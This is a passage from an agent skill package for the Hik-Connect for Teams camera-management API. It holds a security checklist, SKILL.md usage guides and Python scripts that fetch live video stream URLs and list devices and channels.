- [ ] **Verify API Domain** — Confirm domain is Hikvision official endpoint
- [ ] **Prepare Test Credentials** — Create dedicated app with only necessary permissions
- [ ] **Check Config Files** — Review `~/.openclaw/*.json` for sensitive credentials
- [ ] **Confirm Cache Location** — Ensure `/tmp/hctopen_global_token_cache/` is acceptable
### Installation Configuration
- [ ] **Use Environment Variables** — Prefer `HIK_CONNECT_TEAM_OPENAPI_APP_KEY` etc.
- [ ] **Disable Caching** (Optional) — Set `HIK_CONNECT_TEAM_TOKEN_CACHE=0` for high security
- [ ] **Minimal Permission Credentials** — Do not use main account credentials
- [ ] **Isolated Environment** (Optional) — Run in container/VM
### Post-Installation Verification
- [ ] **Verify Cache Permissions** — Confirm cache file permissions are 600
- [ ] **Test Functionality** — Verify with test device
- [ ] **Monitor Logs** — Check API calls are normal
- [ ] **Secure Credential Storage** — Use key manager
### Ongoing Maintenance
- [ ] **Rotate Credentials** — Recommended every 90 days
- [ ] **Review Dependencies** — Check `requests` etc. for security updates
- [ ] **Clear Cache** — Clear cache in high security environments
- [ ] **Monitor for Anomalies** — Watch for unusual API calls or errors
---
## 🔒 Security & Best Practices
- **Least Privilege**: Use credentials with only the permissions necessary for your specific task.
- **Token Caching**: Skills automatically caches access tokens in system temp directory (600 permissions) to minimize API calls.
- **HTTPS**: All Webhook endpoints **must** use HTTPS.
- **Stream Encryption**: If devices have "Stream Encryption" enabled, you must manually decrypt in HCT platform or app.
---
## 📂 Project Structure
```text
Hik-Connect_Team_Skills/
├── README.md # This overview document
├── SKILL.md # Technical integration guide
├── lib/ # Shared libraries
│ ├── token_manager.py # Token management & base client
│ └── README_TOKEN_MANAGER.md # Token manager documentation
└── modules/ # Functional sub-modules
├── Hik-Connect_Team_Resource/
├── Hik-Connect_Team_ACS/
├── Hik-Connect_Team_Capture/
├── Hik-Connect_Team_Video/
└── Hik-Connect_Team_Alarm/
```
For detailed information on each module, please refer to the `SKILL.md` file within each module's directory.
---
FILE:modules/Hik-Connect_Team_Video/SKILL.md
---
name: hctopen-video
description: |
HCTOpen device video stream skill. Supports getting real-time video stream address for specified device channel.
Use when: Need to get device real-time video stream URL.
Before calling this Skill's script, please check if user provided optional parameters. If user didn't provide video-duration, please clearly inform user in reply: 'Currently using default stream duration (duration 10 minutes), if you need to adjust, please let me know'. After getting confirmation or ignoring, continue execution.
⚠️ Security Requirement: Must set environment variables: Hik-Connect Team OpenAPI AppKey,Hik-Connect Team OpenAPI SecretKey. (API Domain is automatically obtained from token response)
parameters:
- name: device-serial
type: string
description: "Device serial number"
required: true
- name: resource-id
type: string
description: "Channel/monitoring point resource ID"
required: true
- name: video-duration
type: integer
description: "Video stream duration (seconds), default 600s, if user didn't specify duration, please inform user default value will be used, and ask if adjustment is needed."
default: 600
output_format:
- "⚠️ Important: After getting video stream, must return in Markdown link format: `[url]({url})`, do not return raw URL only!"
- "Example: [https://example.com/stream.m3u8]({https://example.com/stream.m3u8})"
troubleshooting:
scope: on-demand-only
trigger: "Only activate when user explicitly reports: 'video won't play', 'stream fails', 'cannot open', or similar playback errors."
mandatory_checks:
- "Step 1: Verify Stream Encryption is Disabled via device_detail.py"
- "Step 2: Verify video encoding format is H264 (ask user to check in HCT platform)"
metadata:
openclaw:
emoji: "🎥"
requires:
env: ["HIK_CONNECT_TEAM_OPENAPI_APP_KEY", "HIK_CONNECT_TEAM_OPENAPI_SECRET_KEY"]
pip: ["requests"]
primaryEnv: "HIK_CONNECT_TEAM_OPENAPI_APP_KEY"
warnings:
- "May read ~/.openclaw/*.json for credentials (env vars have priority)"
config:
configFileRead:
paths:
- "~/.openclaw/config.json"
- "~/.openclaw/gateway/config.json"
- "~/.openclaw/channels.json"
priority: "lower than environment variables"
description: "Reads Hik-Connect Team credentials from OpenClaw config files as fallback"
---
# HCTOpen Video
HCT is short for Hik-Connect for Teams, meaning Hik-Connect Team mode.
HCTOpen is short for Hik-Connect for Teams OpenAPI.
This Skill provides device real-time video stream address acquisition functionality, can be accessed directly through link.
---
## ⚠️ Security Warning (Read Before Use)
| # | Check Item | Status | Description |
|---|---------------------------|-------------|----------------------------------------------------------------------------------------------------|
| 1 | **Credential Permission** | ⚠️ Required | Please use credentials with **video stream permission**, avoid using super admin credentials |
| 2 | **Traffic Consumption** | ⚠️ Note | Real-time video stream will consume large bandwidth, please close player in time when not in use |
| 3 | **Token Cache** | ✅ Encrypted | Token cached in system temp directory, only current user can read (600 permission) |
| 4 | **API Domain** | ✅ Auto | API domain is automatically obtained from token response (no longer requires manual configuration) |
---
## 🚀 Quick Start
### Run Video Stream Script
```bash
# Scenario 1: Get video stream for specified device and channel (default 600s)
python scripts/get_video_url.py --device-serial J10137390 --resource-id 6a447d3f9cfe4c8e8394c19f8fbcd3ba
# Scenario 2: Get video stream for specified duration (60s)
python scripts/get_video_url.py --device-serial D72821502 --resource-id 661543ed4b35465a9767081ae0a8bf45 --video-duration 600
```
> ⚠️ **Important**: The `--resource-id` must be the **camera resource ID** obtained from `device_channels.py`!
---
## 🛠 Workflow
```mermaid
graph TD
A[Start Script] --> B{Check Environment Variables}
B -- Missing --> C[Report Error and Exit]
B -- Pass --> D[Get AccessToken]
D --> E{Is Token Valid?}
E -- Cache Valid --> F[Use Cache Directly]
E -- Expired/No Cache --> G[Call API to Get New Token]
G --> H[Save to Local Cache]
F --> I[Send Video Stream Request]
H --> I
I --> J{Parse Return Result}
J -- Success --> K[Print Video Stream URL and Expiration Time]
J -- Failed --> L[Print Error Message]
K --> M[Output JSON Result]
L --> M
M --> N[End]
```
---
## 📋 API Parameter Details
### 1. Device Video Stream Request Parameters
**Endpoint**: `POST /api/hccgw/video/v1/live/address/get`
| Parameter Name | Type | Description | Required | Default | Notes |
|----------------|---------|--------------------------------------|----------|---------|----------------------------|
| `deviceSerial` | String | Device serial number | **Yes** | - | Device unique identifier |
| `resourceId` | String | Channel/monitoring point resource ID | **Yes** | - | Channel unique identifier |
| `expireTime` | Integer | Preview duration (seconds) | No | 600 | Default 600 seconds |
| `protocol` | Integer | Stream protocol | No | 2 | Fixed: 2 (HLS format only) |
### 2. API Return Data Description
| Field Name | Type | Description | Notes |
|--------------|---------|-------------------------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------|
| `url` | String | Video stream address | Directly accessible video stream URL |
| `expireTime` | String | Expiration time in `yyyy-mm-dd hh:mm:ss` format | Local timezone. **IMPORTANT: This value is the authoritative source. Do NOT parse expiration time from URL query parameters (e.g., Expires, expire).** |
| `playable` | Boolean | Whether the Video Stream URL is playable | If `false`, check field for reason. |
---
## 📝 Output Example
### Video Stream Success Example:
```text
[2026-04-23 18:12:02] Requesting video stream: Device=J10137390, Resource=6a447d3f9cfe4c8e8394c19f8fbcd3ba
[SUCCESS] Video stream successful: https://isgpopen.ezvizlife.com/v3/openlive/J10137390_1_1.m3u8?expire=1776939724&id=967488042038833152&c=c3a53f2806&t=4a33a0fa618fec303534c5bb856693aef55b488353c0f56a6edbc6dba8e54079&ev=100
[INFO] Stream URL expiration time: 2026-04-23 18:22:04
[JSON Output]
{
"success": true,
"url": "https://isgpopen.ezvizlife.com/v3/openlive/J10137390_1_1.m3u8?expire=1776939724&id=967488042038833152&c=c3a53f2806&t=4a33a0fa618fec303534c5bb856693aef55b488353c0f56a6edbc6dba8e54079&ev=100",
"expireTime": "2026-04-23 18:22:04",
"playable": true,
"error": null
}
======================================================================
Done
======================================================================
```
### Video Stream Failed Example( video encoding format is H265,Not Supported):
```text
[2026-04-24 13:51:42] Requesting video stream: Device=D72821502, Resource=661543ed4b35465a9767081ae0a8bf45
[SUCCESS] Got stream URL: https://vtmucyn.ezvizlife.com:8883/v3/openlive/D72821502_1_1.m3u8?expire=1777010504&id=967784913892188160&c=caf588fab7&t=837d2555567061dfa6095842439eafaf8536cf660f0f5aa5ee87c3c327916972&ev=100&u=d00f8fbf53ce42c1aaa8731f4ccacd68
[INFO] Stream URL expiration time: 2026-04-24 14:01:44
[ERROR] Stream URL is not playable, the error type is : H265_NOT_SUPPORTED
[JSON Output]
{
"success": false,
"url": "https://vtmucyn.ezvizlife.com:8883/v3/openlive/D72821502_1_1.m3u8?expire=1777010504&id=967784913892188160&c=caf588fab7&t=837d2555567061dfa6095842439eafaf8536cf660f0f5aa5ee87c3c327916972&ev=100&u=d00f8fbf53ce42c1aaa8731f4ccacd68",
"expireTime": "2026-04-24 14:01:44",
"playable": false
}
======================================================================
Done
======================================================================
```
---
## 📂 File Structure
```text
├── scripts/
│ └── get_video_url.py # Device video stream core execution script
└── SKILL.md # Skill usage documentation
```
---
## ❓ FAQ
- **Q: Why is video stream loading slowly?**
- A: Video stream quality is affected by network bandwidth, please ensure stable network environment.
- **Q: What if "Resource ID error" is shown?**
- A: Please first get correct channel `resourceId` through resource management module.
- **Q: What is the validity period of video stream address?**
- A: **Equals your configured stream duration**, which is the value of the `video-duration` parameter. For example, setting `--video-duration 1080` (18 minutes) means the address validity is exactly 18 minutes.
- **Q: What if video stream address is expired?**
- A: Video stream address has time limit, please re-run script to get after expiration.
- **Q: Can video stream address be opened and played directly?**
- A: Yes.
- **Q: Video stream address fails to load?**
- A: **Must check in this order:**
1. **Stream encryption**: Run `device_detail.py <serial>` — `Stream Encryption` must be `Disabled`
2. **Video encoding format**: Check in HCT platform — must be **H264** (H265 may fail in browser)
---
---
**Error Codes**:
| Return Code | Return Message | Description |
|-------------|-----------------------|---------------------------------------------------------------------------------------------|
| EVZ60019 | Encryption is enabled | Stream encryption not disabled, you MUST disable it in HCT platform before stream will work |
---
FILE:modules/Hik-Connect_Team_Video/scripts/get_video_url.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
HCTOpen Device Video Stream
"""
import sys
import os
import json
import argparse
from datetime import datetime, timezone
try:
import requests
except ImportError:
requests = None
# Robust lib directory import logic: search upward until lib directory is found
def setup_lib_path():
current_dir = os.path.dirname(os.path.abspath(__file__))
# Search upward 3 levels for root directory containing lib
root_dir = current_dir
for _ in range(3):
root_dir = os.path.dirname(root_dir)
potential_lib = os.path.join(root_dir, "lib")
if os.path.exists(potential_lib):
if potential_lib not in sys.path:
sys.path.insert(0, potential_lib)
return True
return False
if not setup_lib_path():
print("[ERROR] Cannot find lib directory, please ensure script is located in Hik-Connect_Team Skills directory structure")
sys.exit(1)
from token_manager import HCTOpenClient
def verify_stream(url):
"""
Verify stream is playable by fetching m3u8 and checking for error patterns.
Returns: (is_valid, error_type)
- H265 error pattern: m3u8 contains "ErrCode/9053"
"""
if not requests:
print("[WARN] requests library not installed, skipping stream verification")
return True, None
try:
resp = requests.get(url, timeout=5, headers={"User-Agent": "HCTOpen/1.0"})
if resp.status_code != 200:
return True, None # Don't block on HTTP errors, let player handle
content = resp.text
# Check for H265 error indicator: ErrCode/9053 in playlist
if "ErrCode/9053" in content or "9053_0.ts" in content:
return False, "H265_NOT_SUPPORTED"
# Check if playlist immediately ends (no valid segments)
lines = content.split("\n")
segment_count = sum(1 for line in lines if line.endswith(".ts"))
if segment_count == 0 and "#EXT-X-ENDLIST" in content:
return False, "NO_VALID_SEGMENTS"
return True, None
except Exception as e:
print(f"[WARN] Stream verification failed: {e}")
return True, None # Don't block on network errors
def format_expire_time(exp_time_ms):
"""Convert millisecond timestamp to yyyy-mm-dd hh:mm:ss in local timezone"""
if not exp_time_ms:
return None
dt = datetime.fromtimestamp(exp_time_ms / 1000, tz=timezone.utc).astimezone()
return dt.strftime("%Y-%m-%d %H:%M:%S")
class VideoClient(HCTOpenClient):
"""Device video stream client"""
def get_url(self, device_serial: str, resource_id: str, video_duration: int = 600):
"""Get video stream address"""
print(f"[{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] Requesting video stream: Device={device_serial}, Resource={resource_id}")
endpoint = "/api/hccgw/video/v1/live/address/get"
payload = {
"resourceId": resource_id,
"deviceSerial": device_serial,
"protocol": 2, #HLS format: Stream retrieval supports only this format; no other formats are supported.
"expireTime": video_duration
}
# Video module API uses "Token" as Header Key
result = self.request("POST", endpoint, json_data=payload, token_header_key="Token")
if result.get("errorCode") == "0":
data = result.get("data", {})
stream_url = data.get("url")
exp_time_ms = data.get("expireTime")
if stream_url:
print(f"[SUCCESS] Got stream URL: {stream_url}")
# Verify stream is playable (check for H265 errors)
is_valid, error_type = verify_stream(stream_url)
# Format expire time as yyyy-mm-dd hh:mm:ss
expire_time_str = format_expire_time(exp_time_ms)
print(f"[INFO] Stream URL expiration time: {expire_time_str}")
if not is_valid:
print(f"[ERROR] Stream URL is not playable, the error type is : {error_type}")
self.exit_with_json({
"success": False,
"url": stream_url,
"expireTime": expire_time_str,
"playable": False
})
self.exit_with_json({
"success": True,
"url": stream_url,
"expireTime": expire_time_str,
"playable": True
})
else:
self.exit_with_json({
"success": False,
"url": None,
"expireTime": None,
"playable": False
})
else:
# Use unified message field
print(f"[ERROR] Video stream failed: {result.get('message', 'Unknown error')}")
self.exit_with_json({
"success": False,
"url": None,
"expireTime": None,
"playable": False
})
def main():
parser = argparse.ArgumentParser(description="HCTOpen Device Video Stream")
parser.add_argument("--device-serial", required=True, help="Device serial number")
parser.add_argument("--resource-id", required=True, help="Resource ID (Channel ID)")
parser.add_argument("--video-duration", type=int, default=600, help="Valid duration (seconds)")
args = parser.parse_args()
client = VideoClient()
client.get_url(args.device_serial, args.resource_id, args.video_duration)
if __name__ == "__main__":
main()
FILE:modules/Hik-Connect_Team_Resource/SKILL.md
---
name: hctopen-resource-manager
description: |
HCTOpen resource management skill. Supports viewing device list and specific device details, all channel details under specific device.
Use when: Need to view available devices, get specific device detailed information, get all channel information under specific device, etc.
Before calling this Skill's script, please check if user provided device serial number. If user didn't provide device serial number, please clearly inform user in reply: 'Currently using default parameters (such as viewing device list), if you need to view specific device information, please provide device serial number'. After getting confirmation or ignoring, continue execution.
⚠️ Security Requirement: Must set environment variables: Hik-Connect Team OpenAPI AppKey, Hik-Connect Team OpenAPI SecretKey. (API Domain is automatically obtained from token response)
parameters:
- name: device-serial
type: string
description: "Device serial number"
required: false
- name: page
type: integer
description: "Page number, default is 1"
default: 1
- name: page-size
type: integer
description: "Page size, default is 10"
default: 10
- name: device-category
type: string
description: "Device category filter. Options: encodingDevice, accessControllerDevice, alarmDevice, videoIntercomDevice, mobileDevice, businessDisplayDevice"
required: false
- name: match-key
type: string
description: "Fuzzy match key for device name or serial number. Only effective when device-category is specified."
required: false
responses:
- success: true
template: "Device information retrieved for you:"
media: "list_card"
metadata:
openclaw:
emoji: "📦"
requires:
env: ["HIK_CONNECT_TEAM_OPENAPI_APP_KEY", "HIK_CONNECT_TEAM_OPENAPI_SECRET_KEY"]
pip: ["requests"]
primaryEnv: "HIK_CONNECT_TEAM_OPENAPI_APP_KEY"
warnings:
- "May read ~/.openclaw/*.json for credentials (env vars have priority)"
config:
configFileRead:
paths:
- "~/.openclaw/config.json"
- "~/.openclaw/gateway/config.json"
- "~/.openclaw/channels.json"
priority: "lower than environment variables"
description: "Reads Hik-Connect Team credentials from OpenClaw config files as fallback"
---
# HCTOpen Resource Manager
HCT is short for Hik-Connect for Teams, meaning Hik-Connect Team mode.
HCTOpen is short for Hik-Connect for Teams OpenAPI.
This Skill supports three core functions: view device list, query device details, and channel details under device.
---
## ⚠️ Security Warning (Read Before Use)
| # | Check Item | Status | Description |
|---|---------------------------|-------------|----------------------------------------------------------------------------------------------------|
| 1 | **Credential Permission** | ⚠️ Required | Please use credentials with **resource query permission**, avoid using super admin credentials |
| 2 | **Token Cache** | ✅ Encrypted | Token cached in system temp directory, only current user can read (600 permission) |
| 3 | **API Domain** | ✅ Auto | API domain is automatically obtained from token response (no longer requires manual configuration) |
---
## 🚀 Quick Start
### Run Resource Management Scripts
```bash
# Scenario 1: View device list (default pagination)
python scripts/list_devices.py
# Scenario 1a: Filter by device category (encodingDevice)
python scripts/list_devices.py --device-category encodingDevice
# Scenario 1b: Filter by device category with fuzzy match on name/serial
python scripts/list_devices.py --device-category encodingDevice --match-key D728215
# Scenario 2: Query single device details (by serial number)
python scripts/device_detail.py L33721705
# Scenario 3: View specific device channel list
python scripts/device_channels.py J10137390
# Scenario 4: View door access resource list (specified serial number)
python scripts/list_doors.py L33721705
```
---
## 🛠 Workflow
```mermaid
graph TD
A[Start Script] --> B{Check Environment Variables}
B -- Missing --> C[Report Error and Exit]
B -- Pass --> D[Get AccessToken]
D --> E{Is Token Valid?}
E -- Cache Valid --> F[Use Cache Directly]
E -- Expired/No Cache --> G[Call API to Get New Token]
G --> H[Save to Local Cache]
F --> I[Send Resource Query Request]
H --> I
I --> J{Parse Return Result}
J -- Success --> K[Print Resource List Table]
J -- Failed --> L[Print Error Message]
K --> M[Output JSON Result]
L --> M
M --> N[End]
```
---
## 📋 API Parameter Details
### 1. Device List Request Parameters
**Endpoint**: `POST /api/hccgw/resource/v1/devices/get`
| Parameter Name | Type | Description | Required | Default | Notes |
|-------------------|---------|---------------------------------------|----------|---------|---------------------------------------------------------------------------------------------------------------|
| `page` | Integer | Page number | No | 1 | Starts from 1 |
| `pageSize` | Integer | Page size | No | 10 | Max 100 |
| `deviceCategory` | String | Device category filter | No | - | encodingDevice, accessControllerDevice, alarmDevice, videoIntercomDevice, mobileDevice, businessDisplayDevice |
| `filter.matchKey` | String | Fuzzy match for device name or serial | No | - | Only effective when deviceCategory is specified |
#### deviceCategory Options
| deviceCategory Value | Description |
|--------------------------|----------------------------|
| `encodingDevice` | `Encoding Device / Camera` |
| `accessControllerDevice` | `Access Controller Device` |
| `alarmDevice` | `Alarm Device` |
| `videoIntercomDevice` | `Video Intercom Device` |
| `mobileDevice` | `Mobile Device` |
| `businessDisplayDevice` | `Business Display Device` |
### Device List Output Field Description
| Field Name | Type | Description |
|--------------------------|---------|------------------------------------------------------|
| `success` | Boolean | Whether request was successful |
| `total` | Integer | Total number of devices |
| `pageIndex` | Integer | Current page number |
| `pageSize` | Integer | Page size |
| `devices` | Array | Device list, each element is a device object |
| `devices[].id` | String | Device ID |
| `devices[].name` | String | Device name |
| `devices[].category` | String | Device type |
| `devices[].type` | String | Device model |
| `devices[].serialNo` | String | Device serial number |
| `devices[].version` | String | Firmware version |
| `devices[].onlineStatus` | Integer | Network status: 0 (offline), 1 (online), 2 (unknown) |
| `devices[].addTime` | String | Added time |
### Device List Success Example:
```text
[2026-04-09 15:44:01] Getting device list (page 1, 10 items per page)...
======================================================================
HCTOpen Device List (Total: 2, Current page count: 2)
======================================================================
No. Device ID Device Serial Number Device Name Model Version Device Type Added Time Status
---------------------------------------------------------------------------------------------------------------------------------------
1 2604f502e63247d393e83c07f58705b9 D72821502 Small Cup DS-2CV2026G0-IDW V5.5.110 build 200819 encodingDevice 2026-03-30 01:30:55 Online
2 39a2f72cf2d8404b9067d35cfe2d3501 J10137390 Test Room DS-2TD2637-10/P V5.5.64 build 230207 encodingDevice 2026-04-01 05:57:00 Online
======================================================================
[JSON Output]
{
"success": true,
"totalCount": 2,
"pageIndex": 1,
"pageSize": 10,
"devices": [
{
"id": "2604f502e63247d393e83c07f58705b9",
"serialNo": "D72821502",
"name": "Small Cup",
"type": "DS-2CV2026G0-IDW",
"version": "V5.5.110 build 200819",
"onlineStatus": 1,
"category": "encodingDevice",
"addTime": "2026-03-30 01:30:55"
},
{
"id": "39a2f72cf2d8404b9067d35cfe2d3501",
"serialNo": "J10137390",
"name": "Test Room",
"type": "DS-2TD2637-10/P",
"version": "V5.5.64 build 230207",
"onlineStatus": 1,
"category": "encodingDevice",
"addTime": "2026-04-01 05:57:00"
}
]
}
======================================================================
Done
======================================================================
```
### Device List Failed Example:
```text
[2026-04-22 19:05:43] Getting device list (page 1, 10 items per page)...
[WARNING] match-key is only effective when device-category is specified..
{'pageIndex': 1, 'pageSize': 10, 'filter': {'matchKey': 'D728215'}}
[ERROR] Failed to get device list: Device category is request{OPEN000010}
[JSON Output]
{
"success": false,
"error": "Device category is request{OPEN000010}",
"errorCode": "OPEN000010"
}
======================================================================
Done
======================================================================
```
### 2. Device Detail Request Parameters
**Endpoint**: `POST /api/hccgw/resource/v1/devicedetail/get`
| Parameter Name | Type | Description | Required | Default | Notes |
|------------------|--------|----------------------|----------|---------|--------------------------|
| `deviceSerialNo` | String | Device serial number | **Yes** | - | Device unique identifier |
### Device Detail Output Field Description
| Field Name | Type | Description |
|--------------------------------------------|---------|-------------------------------------------------|
| `success` | Boolean | Whether request was successful |
| `data` | Object | Device detail data object |
| `data.device` | Object | Device detailed information |
| `data.device.baseInfo` | Object | Device basic information |
| `data.device.baseInfo.id` | String | Device ID |
| `data.device.baseInfo.name` | String | Device name |
| `data.device.baseInfo.category` | String | Device type |
| `data.device.baseInfo.serialNo` | String | Device serial number |
| `data.device.baseInfo.version` | String | Firmware version |
| `data.device.baseInfo.type` | String | Device model |
| `data.device.baseInfo.streamEncryptEnable` | String | Stream encryption enable, 1-enabled, 0-disabled |
| `data.device.onlineStatus` | Integer | Device online status: 1-online, 0-offline |
### Device Detail Success Example:
```text
======================================================================
HCTOpen Device Detail
======================================================================
[Time] 2026-04-07 10:00:00
[INFO] Querying device details: F68147103
Device Name Device Serial Number Model Version Status
---------------- -------------- ---------------- -------------------- --------
F68147103 F68147103 DS-9664NI-I8 V4.40.220 build 210125 Online
======================================================================
[JSON Output]
{
"success": true,
"data": {
"device": {
"baseInfo": {
"id": "5c263e4293c84eae81720e9e481e33ad",
"name": "F68147103",
"category": "encodingDevice",
"serialNo": "F68147103",
"version": "V4.40.220 build 210125",
"type": "DS-9664NI-I8",
"streamEncryptEnable": "1",
}
"onlineStatus": 1,
}
}
}
======================================================================
Done
======================================================================
```
### 3. Device Channel List Request Parameters
**Endpoint**: `POST /api/hccgw/resource/v1/areas/cameras/get`
| Parameter Name | Type | Description | Required | Default | Notes |
|----------------|---------|----------------------|----------|---------|--------------------------|
| `deviceSerial` | String | Device serial number | **Yes** | - | Device unique identifier |
| `page` | Integer | Page number | No | 1 | Starts from 1 |
| `pageSize` | Integer | Page size | No | 10 | Max 100 |
### Device Channel List Output Field Description
| Field Name | Type | Description |
|---------------------------|---------|-------------------------------------------------------|
| `success` | Boolean | Whether request was successful |
| `data` | Object | Device channel list data object |
| `data.totalCount` | Integer | Total channel count |
| `data.pageIndex` | Integer | Current page number |
| `data.pageSize` | Integer | Page size |
| `data.camera` | Array | Camera channel list, each element is a channel object |
| `data.camera[].id` | String | Camera ID |
| `data.camera[].name` | String | Camera name |
| `data.camera[].online` | String | Online status: "1"-online, "0"-offline |
| `data.camera[].channelNo` | String | Channel number |
### Device Channel List Success Example:
```text
[2026-04-09 17:11:21] Querying device channels: J10137390
======================================================================
HCTOpen Device Channel List (Current page count: 2)
======================================================================
No. Resource ID Channel Name Status Area Channel No.
--------------------------------------------------------------
1 6a447d3f9cfe4c8e8394c19f8fbcd3ba Test Room_1 Offline OpenClaw 1
2 84b70e3ced36474fb2b8e6d02b9f8efc Test Room_2 Offline OpenClaw 2
======================================================================
[JSON Output]
{
"success": true,
"pageIndex": 1,
"pageSize": 50,
"total": 2,
"channels": [
{
"id": "6a447d3f9cfe4c8e8394c19f8fbcd3ba",
"name": "Test Room_1",
"online": "1",
"channelNo": "1"
},
{
"id": "84b70e3ced36474fb2b8e6d02b9f8efc",
"name": "Test Room_2",
"online": "1",
"channelNo": "2"
}
]
}
======================================================================
Done
======================================================================
```
### 4. Door Access Resource List Request Parameters
**Endpoint**: `POST /api/hccgw/resource/v1/areas/doors/get`
| Parameter Name | Type | Description | Required | Default | Notes |
|----------------|--------|----------------------|----------|---------|---------------------------------------------------|
| `deviceSerial` | String | Device serial number | Yes | - | Filter door access resources for specified device |
### Door Access Resource List Output Field Description
| Field Name | Type | Description |
|----------------------|---------|----------------------------------------|
| `success` | Boolean | Whether request was successful |
| `total` | Integer | Total door access resources |
| `doors` | Array | Door access list |
| `doors[].resourceId` | String | Door Resource ID |
| `doors[].name` | String | Door Access name |
| `doors[].online` | String | Online status: "1"-online, "0"-offline |
### Door Access Resource List Success Example:
```text
[2026-04-10 09:49:51] Getting door access resource list (Device serial number: L33721705)...
======================================================================
HCTOpen Door Access Resource List (Count: 1)
======================================================================
No. Door Resource ID Door Access Name Status
---------------------------------------------------
1 2aabf37ad9804f66acc4ad4fb7bd4698 L33721705 Online
======================================================================
[JSON Output]
{
"success": true,
"total": 1,
"doors": [
{
"resourceId": "2aabf37ad9804f66acc4ad4fb7bd4698",
"name": "L33721705",
"online": "1"
}
]
}
======================================================================
Done
======================================================================
```
---
## 📂 File Structure
```text
├── scripts/
│ ├── list_devices.py # Device list query script
│ ├── device_detail.py # Device detail query script
│ ├── device_channels.py # Device channel query script
│ └── list_doors.py # Device door access resource query script
└── SKILL.md # Skill usage documentation
```
---
## ❓ FAQ
- **Q: Why can't I find my device?**
- A: Please ensure Hik-Connect Team OpenAPI AppKey has permission to access the device, and check if serial number is entered correctly.
- **Q: What do status codes 1 and 0 mean?**
- A: 1 means online, 0 means offline.
- **Q: How to get all devices?**
- A: Script supports pagination, if there are many devices, please adjust `--page-size` parameter or loop request.
---
---
#### deviceCategory Options
**Error Codes**:
| Return Code | Return Message | Description |
|-------------|-----------------------------|---------------------------------------------------------------------------|
| OPEN000010 | Device category is request | `match-key` is only effective when `device-category` is specified. |
| OPEN000010 | Device category not support | Please ensure `device-category` is valid and within the supported options |
---
FILE:modules/Hik-Connect_Team_Resource/scripts/device_channels.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
HCTOpen Device Channel List
"""
import sys
import os
import json
import argparse
from datetime import datetime
# Robust lib directory import logic: search upward until lib directory is found
def setup_lib_path():
current_dir = os.path.dirname(os.path.abspath(__file__))
# Search upward 3 levels for root directory containing lib
root_dir = current_dir
for _ in range(3):
root_dir = os.path.dirname(root_dir)
potential_lib = os.path.join(root_dir, "lib")
if os.path.exists(potential_lib):
if potential_lib not in sys.path:
sys.path.insert(0, potential_lib)
return True
return False
if not setup_lib_path():
print("[ERROR] Cannot find lib directory, please ensure script is located in Hik-Connect_Team Skills directory structure")
sys.exit(1)
from token_manager import HCTOpenClient
class DeviceChannelsClient(HCTOpenClient):
"""Device channel query client"""
def get_channels(self, device_serial: str, page: int = 1, page_size: int = 50):
"""Get and print device channel list"""
print(f"[{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] Querying device channels: {device_serial}")
endpoint = "/api/hccgw/resource/v1/areas/cameras/get"
payload = {
"pageIndex": page,
"pageSize": page_size,
"filter": {"deviceSerialNo": device_serial}
}
# Resource module API uses "Token" as Header Key
result = self.request("POST", endpoint, json_data=payload, token_header_key="Token")
if result.get("errorCode") == "0":
data = result.get("data", {})
channels = data.get("camera", [])
total = len(channels)
headers = ["No.", "Resource ID", "Channel Name", "Status", "Area", "Channel No."]
rows = []
for i, ch in enumerate(channels, 1):
status = "Online" if ch.get("online") == "1" else "Offline"
area_name = ch.get("area", {}).get("name", "Unknown")
channel_no = ch.get("device", {}).get("channelInfo", {}).get("no", "-")
rows.append([
i,
ch.get("id"),
ch.get("name", "Unknown"),
status,
area_name,
channel_no
])
self.print_table(f"HCTOpen Device Channel List (Current page count: {total})", headers, rows)
# Maintain output format consistent with original script
self.exit_with_json({
"success": True,
"pageIndex": page,
"pageSize": page_size,
"total": total,
"channels": [
{
"id": c.get("id"),
"name": c.get("name"),
# Convert to "1" or "0"
"online": c.get("online"),
# Map to root-level channelNo
"channelNo": c.get("device", {}).get("channelInfo", {}).get("no")
}
for c in channels
]
})
else:
# Use unified message field
print(f"[ERROR] Failed to get channel list: {result.get('message', 'Unknown error')}")
self.exit_with_json({
"success": False,
"error": result.get("message", "Unknown error"),
"errorCode": result.get("errorCode")
})
def main():
parser = argparse.ArgumentParser(description="HCTOpen Get Device Channel List")
parser.add_argument("device_serial", help="Device serial number")
parser.add_argument("--page", type=int, default=1, help="Page number")
parser.add_argument("--page-size", type=int, default=50, help="Page size")
args = parser.parse_args()
client = DeviceChannelsClient()
client.get_channels(args.device_serial, page=args.page, page_size=args.page_size)
if __name__ == "__main__":
main()
FILE:modules/Hik-Connect_Team_Resource/scripts/device_detail.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
HCTOpen Device Detail
"""
import sys
import os
import json
import argparse
from datetime import datetime
# Robust lib directory import logic: search upward until lib directory is found
def setup_lib_path():
current_dir = os.path.dirname(os.path.abspath(__file__))
# Search upward 3 levels for root directory containing lib
root_dir = current_dir
for _ in range(3):
root_dir = os.path.dirname(root_dir)
potential_lib = os.path.join(root_dir, "lib")
if os.path.exists(potential_lib):
if potential_lib not in sys.path:
sys.path.insert(0, potential_lib)
return True
return False
if not setup_lib_path():
print("[ERROR] Cannot find lib directory, please ensure script is located in Hik-Connect_Team Skills directory structure")
sys.exit(1)
from token_manager import HCTOpenClient
class DeviceDetailClient(HCTOpenClient):
"""Device detail query client"""
def get_detail(self, device_serial: str):
"""Get and print device details"""
print(f"[{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] Querying device details: {device_serial}")
endpoint = "/api/hccgw/resource/v1/devicedetail/get"
payload = {"deviceSerialNo": device_serial}
# Resource module API uses "Token" as Header Key
result = self.request("POST", endpoint, json_data=payload, token_header_key="Token")
if result.get("errorCode") == "0":
data = result.get("data", {}).get("device", {})
base_info = data.get("baseInfo", {})
# 1. Define list of fields to remove
exclude_keys = [
"availableCameraChannelNum",
"availableAlarmInputChannelNum",
"availableAlarmOutputChannelNum",
"areaId",
"area"
]
# 2. Create a simplified base_info for JSON output
# Use dict comprehension to filter out unwanted keys
filtered_base_info = {k: v for k, v in base_info.items() if k not in exclude_keys}
headers = ["Device ID", "Device Name", "Device Serial Number", "Device Type", "Model", "Status", "Version", "Stream Encryption"]
status = "Online" if data.get("onlineStatus") == 1 else "Offline"
rows = [[
base_info.get("id"),
